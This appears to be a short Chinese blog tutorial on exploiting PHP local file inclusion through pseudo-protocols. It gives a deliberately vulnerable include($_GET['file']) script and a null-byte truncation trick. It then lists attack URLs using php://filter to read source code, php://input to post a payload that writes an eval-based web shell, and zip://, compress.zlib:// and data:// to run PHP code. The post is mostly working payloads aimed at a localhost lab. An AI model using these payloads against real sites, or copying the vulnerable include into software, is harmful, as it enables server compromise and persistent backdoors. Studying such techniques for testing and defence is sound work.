php伪协议
2018-12-25 本文已影响0人
唐小风7
test.php
<?php
include($_GET['file'])
?>
情况一:不需要截断:
![](https://img.haomeiwen.com/i14134003/d4e083a2ea13e9a6.png)
情况二:需要截断:
<?php
include($_GET['file'].’.php’)
?>
php<=5.2
%00截断
【file://协议】
使用方法:
file:// [文件的绝对路径和文件名]
![](https://img.haomeiwen.com/i14134003/b0feeaf60e001b7e.png)
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./test.php
![](https://img.haomeiwen.com/i14134003/aa82fcde0f56f030.png)
php://input
![](https://img.haomeiwen.com/i14134003/5e5fef28b7985b5d.png)
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
![](https://img.haomeiwen.com/i14134003/d3b014ce981a29ee.png)
【zip://协议】
http://localhost/test.php?file=zip://D:/phpStudy/WWW/txf.zip%23txf.txt
![](https://img.haomeiwen.com/i14134003/9d78f49a0e7988fc.png)
【bzip2://协议】
http://localhost/test.php?file=compress.zlib://./txf.txt
![](https://img.haomeiwen.com/i14134003/fd70bab1f0d50cff.png)
【data://协议】
http://localhost/test.php?file=data://text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/test.php?file=data:text/plain,<?php phpinfo()?>
http://localhost/test.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
![](https://img.haomeiwen.com/i14134003/d5fa5bd42abc6ae3.png)
![](https://img.haomeiwen.com/i14134003/4dcc08ba0c371167.png)